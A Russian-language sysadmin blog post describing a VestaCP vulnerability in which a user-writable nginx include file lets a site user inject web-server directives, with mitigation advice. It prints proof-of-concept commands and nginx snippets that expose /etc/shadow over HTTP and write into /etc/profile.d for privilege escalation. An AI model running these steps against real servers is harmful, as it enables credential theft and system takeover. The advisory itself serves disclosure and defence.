Уязвимость в VestaCP

Для VestaCP опубликована информация об уязвимости, обнаруженной ещё в марте. Уязвимость связана с тем, как панель работает с конфигами веб-сервера Nginx.

В конфигурационном файле /home/%user%/conf/web/nginx.conf можно увидеть вот такой location:

location /vstats/ {
 alias /home/%user%/web/%domain%/stats/;
 include /home/%user%/web/%domain%/stats/auth.conf*;
}

Владельцем директории и файла (если он уже создан), при этом, является пользователь. Такое поведение приводит к тому, что в файл, можно записать любое, нужное злоумышленнику содержимое, которое при перезапуске веб-сервера будет прочитано и учтено.

Для того что бы «прикрыть» уязвимое место уже сейчас, имеет смысл сменить владельца директории /stats/ и конфигов в ней на root:root, проверив при этом, не записано ли уже в конфиги что-то лишнее. Либо и вовсе, пока что, закомментировать инклуд этой директории и её содержимого в конфиге веб-сервера.

Использование уязвимости.

Допустим, что злоумышленник получил возможность загружать на сайт свои файлы, либо выполнять собственный PHP код. Ему остаётся сделать примерно так (из PHP):

chmod u+w /home/%user%/web/%domain%/stats/ 
echo 'client_body_temp_path /etc/shadow; location /vstats/steal { alias / ; }' > /home/%user%/web/%domain%/stats/auth.conf.evil

И после того как Nginx будет перезапущен, файл /etc/shadow будет доступен по адресу http://%domain%/vstats/steal/etc/shadow

Автор, опубликовавший информацию о проблеме, приводит примеры чтения системных файлов таким способом и записи файла с повышенными привилегиями в системе:

client_body_temp_path /etc/shadow; 
location /vstats/steal { 
 alias / ; 
}
client_body_temp_path /etc/profile.d/vim.sh; 
location /evil { 
 error_log /etc/profile.d/vim.sh;
}

Во втором примере, после того как Nginx будет перезапущен, у злоумышленника появляется возможность записать что-либо в файл, путём вызова ошибок, которые будут записываться в лог. Затем этот файл можно будет выполнить.

По словам автора, разработчики узнали о проблеме ещё в марте, и на первое обращение отреагировали очень быстро, но затем, ответы и какую-либо реакцию от них он получать перестал. Высказывается и альтернативное мнение о том, что на самом деле, разработчики об уязвимости узнали совсем недавно. Так оно или нет, по большому счёту уже не так важно, уязвимость уже доступна публично, а значит остаётся надеяться, что разработчики панели оперативно исправят её.

@SysadminNotes | https://sysadmin.pm

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *